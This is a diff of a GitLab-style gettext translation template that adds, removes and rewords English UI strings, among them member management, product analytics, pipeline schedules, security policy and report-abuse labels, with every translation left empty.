@@ -25454,6 +25710,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25469,9 +25728,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -25571,6 +25827,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25640,9 +25899,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25655,9 +25911,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25997,6 +26250,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -26038,6 +26294,9 @@ msgstr[3] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -26047,6 +26306,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -26068,10 +26342,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -26080,9 +26354,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -26110,6 +26390,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -26137,6 +26420,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -26422,10 +26711,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26485,6 +26777,9 @@ msgstr ""
msgid "Messages"
msgstr ""
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26916,6 +27211,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -27312,6 +27613,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -27336,6 +27640,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -27345,6 +27652,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -27370,24 +27680,36 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|Which actions are restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|Which actions become restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27481,6 +27803,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr ""
@@ -27611,9 +27954,6 @@ msgstr ""
msgid "New directory"
msgstr ""
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -27929,9 +28269,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -28110,6 +28447,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28654,13 +29006,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28711,6 +29057,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr ""
@@ -29142,6 +29500,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -29307,6 +29668,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29734,12 +30098,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29900,9 +30258,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -30049,12 +30404,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -30586,7 +30935,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -30601,6 +30950,9 @@ msgstr ""
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -30613,6 +30965,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr ""
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -30640,6 +30995,12 @@ msgstr ""
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30658,6 +31019,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31612,9 +31976,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31672,6 +32033,9 @@ msgstr ""
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31699,7 +32063,10 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31714,9 +32081,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr ""
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -31828,6 +32192,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31840,27 +32207,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -32515,6 +33083,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -32734,6 +33314,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32809,9 +33392,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr ""
@@ -32983,9 +33563,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -33136,10 +33713,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -33271,6 +33848,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33895,6 +34475,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -33907,6 +34505,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -33943,6 +34544,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34677,6 +35281,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34944,9 +35551,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -35004,9 +35608,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -35043,6 +35644,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -36017,7 +36645,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -36394,7 +37022,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -36601,6 +37229,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -36625,9 +37259,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -36643,6 +37274,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -36652,12 +37286,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36850,9 +37508,6 @@ msgstr ""
msgid "Search projects"
msgstr ""
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -37242,6 +37897,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -37263,6 +37927,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -37542,7 +38209,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -37605,10 +38272,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -37623,6 +38290,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -37692,9 +38362,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37914,9 +38581,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37944,6 +38608,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37974,9 +38641,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37995,9 +38659,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38779,6 +39440,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38996,9 +39660,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -39125,9 +39786,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -39158,6 +39816,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
